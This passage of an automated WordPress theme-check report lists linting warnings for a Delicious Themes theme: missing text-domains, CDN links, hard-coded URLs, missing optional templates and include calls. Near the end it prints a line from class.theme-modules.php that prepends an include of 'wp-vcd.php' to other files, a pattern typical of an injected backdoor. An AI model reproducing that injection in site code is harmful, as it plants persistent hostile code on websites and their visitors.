Appearance > Customize area in your dashboard. Try %sEnvato Studio%s if you need a new logo designed.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Upload New Logo' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Skip this step' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Theme Updates' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Please login using your ThemeForest account to enable Theme Updates. We update themes when a new feature is added or a bug is fixed. It is highly recommended to enable Theme Updates.' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Login with Envato' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Skip this step' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Agree and Continue' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'The theme is Ready!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Next Steps' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Import Demo Data' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'View your new website!' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'More Resources' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Learn how to use WordPress' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Leave an Item Rating' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Get Help and Support' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Something went wrong while trying to retrieve oauth token: %s' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'Login for %s updates' in file envato_setup.php.Found a translation function that is missing a text-domain. Function esc_html__, with the arguments 'oAuth Login' in file envato_setup.php.Found a translation function that is missing a text-domain. Function __, with the arguments "This content is password protected. To view it please enter your password below:" in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments "Password:" in file functions.php.Found a translation function that is missing a text-domain. Function esc_attr__, with the arguments "Submit" in file functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are delicious, redux-framework-demo, dazzle, redux-framework, themecheck, so-panels, tgmpa, js_composer, .
  5. Cdn : Use of CDNFound the URL of a CDN in the code: oss.maxcdn.com/libs/html5shiv. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme.
  6. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.
  7. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  8. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file admin-bar.min.css.
  9. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  10. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  11. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  12. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  13. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in header.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file config.php.985: 'subtitle' => __('Enable/Disable the portfolio grid layout manager. To see how columns are displayed on the grid, check out this <a href='http://deliciousthemes.com/documentations/patti-wp-docs/patti-columns.png' Possible hard-coded links were found in the file welcome.php.482: <a href='http://docs.reduxframework.com/' class='docs button button-primary'>Docs</a485: <a href='https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHWPossible hard-coded links were found in the file sample.php.243: 'desc' => __('Redux Framework was created with the developer in mind. It allows for any theme developer to have an advanced theme panel with most of the features a developer would need. For more information check out the Github repo at: <a href='https://github.com/ReduxFramework/Redux-Framework'>https://github.com/Redux575: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',586: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',596: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',575: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',586: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',596: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',575: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',586: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',596: 'desc' => 'Possible modes can be found at <a href='http://ace.c9.io' target='_blank'>http://ace.c9.io/</a>.',Possible hard-coded links were found in the file envato_setup.php.2252: href='http://studiotracking.envato.com/aff_c?offer_id=4&aff_id=1564&source=DemoIn2294: <p><?php printf( esc_html__( 'Please add your logo below. For best results, the logo should be a transparent PNG ( 466 by 277 pixels). The logo can be changed at any time from the Appearance > Customize area in your dashboard. Try %sEnvato Studio%s if you need a new logo designed.' ), '<a href='http://studiotracking.envato.com/aff_c?offer_id=4&aff_id=1564&source=DemoIn2321: href='http://studiotracking.envato.com/aff_c?offer_id=4&aff_id=1564&source=DemoIn2428: href='https://deliciousthemes.ticksy.com/' target='_blank'>contact us</a>.</em>2502: <p>Item Support can be accessed from <a href='https://deliciousthemes.ticksy.com/' target='_blank'>https://delicioustheme2569: <li class='support'><a href='https://deliciousthemes.ticksy.com/'2567: <li class='rating'><a href='http://themeforest.net/downloads'2428: href='https://deliciousthemes.ticksy.com/' target='_blank'>contact us</a>.</em>2502: <p>Item Support can be accessed from <a href='https://deliciousthemes.ticksy.com/' target='_blank'>https://delicioustheme2569: <li class='support'><a href='https://deliciousthemes.ticksy.com/'Possible hard-coded links were found in the file class-usage.php.140: $services_options->addSelectIcon($prefix.'service_icon', $icons ,array('name'=> 'Service Icon', 'std'=> array('fa-glass'), 'desc' => 'Select an icon for your service item. Icons belong to <a href='http://fortawesome.github.io/Font-Awesome/' target='_blank'>FontAwesome</a>
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  11. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  12. Use of includes : Use of include or requireThe theme appears to use include or require : config.php 78: require_once( ABSPATH .'/wp-admin/includes/file.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : loader.php 22: require_once( $class_file ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : welcome.php 378: require_once 'views/about.php';393: require_once 'views/changelog.php';408: require_once 'views/extensions.php';424: require_once 'views/support.php';439: require_once 'views/credits.php';454: require_once 'views/status_report.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : extension_customizer.php 753: require_once( $class_file ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class.redux_api.php 534: include_once( $api_check ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : framework.php 410: // require_once 'core/dashboard.php';414: // require_once 'core/newsflash.php';1719: require_once 'core/enqueue.php';2868: require_once 'core/enqueue.php';2926: require_once 'core/panel.php';3278: require_once 'core/panel.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : sample.php 88: require_once( ABSPATH .'/wp-admin/includes/file.php' );234: require_once(ABSPATH . '/wp-admin/includes/file.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : envato_setup.php 635: @include('envato-setup-export.php');717: require_once( ABSPATH . 'wp-admin/includes/file.php' );1962: require_once( ABSPATH . 'wp-admin/includes/file.php' );1987: require_once( ABSPATH . 'wp-admin/includes/file.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : twitteroauth.php 10: require_once('OAuth.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : widget-twitter.php 80: require_once 'twitteroauth.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes